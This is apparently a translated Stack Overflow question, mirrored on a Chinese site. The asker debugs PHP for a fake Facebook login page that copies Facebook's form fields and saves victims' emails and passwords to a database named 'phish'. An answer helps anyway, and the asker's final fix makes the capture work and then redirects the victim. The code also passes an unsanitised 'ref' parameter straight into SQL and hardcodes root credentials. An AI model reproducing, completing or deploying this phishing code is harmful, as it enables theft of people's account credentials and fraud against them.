簡體   English   中英

表單 if(isset($_POST['login'])) 在 php 中根本不起作用

[英]form if(isset($_POST['login'])) not working at all in php

我的問題是我需要這個來向我的數據庫提交數據。 下面是我嘗試過的代碼。 實際問題是我想使用 if(isset($_POST['login'])) 但它在這種形式下不起作用任何想法?

在我的 html 之上

<?php
       session_start();
        $_SESSION['ref']=$_GET['ref'];
         function login()
          {
            $host="127.0.0.1:8889";
            $user="root";
            $pw="root";
            $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
          }
        ?> 

我的表格可以在這里找到

<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0">        <tbody>
 <tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
 <label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
 <td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix   uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3"  class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>

在我的表格下面你會發現這個

<?php
 if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
    mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

 mysql_query($sql); 

 mysql_close($verbinding);
}
} 
?>

您需要將 method="post" 放在表單標簽中。

嗯:)

您確實需要了解 PHP 中的函數語法。 在創建新函數之前,您需要使用“函數”前綴。

function login()
  {
    $host="127.0.0.1:8889";
    $user="root";
    $pw="root";
    $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
  }

順便說一句,您不需要創建一個函數來連接您的數據庫。 你可以只使用include("path/to/mysql_connection.php"); 功能。 它更有效率。


代碼中的另一件事是表單發送的方法。 您正在使用 POST 方法,因此您需要將method="post"添加到您的表單標簽中。


而且我實際上了解您的代碼在做什么,但希望信息有所幫助。

祝你好運。

我得到了答案,我不得不改變它

到:

     <?php
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
      mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

  mysql_query($sql); 

  mysql_close($verbinding);
   ?>
    <script>
    alert("alert here");
   window.location.href="url-here";
   </script>
    <?php 
}
 ?>

我剛剛刪除了 if(isset($_POST['login'])) 並使用了一些額外的 javascript 來讓它工作;)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM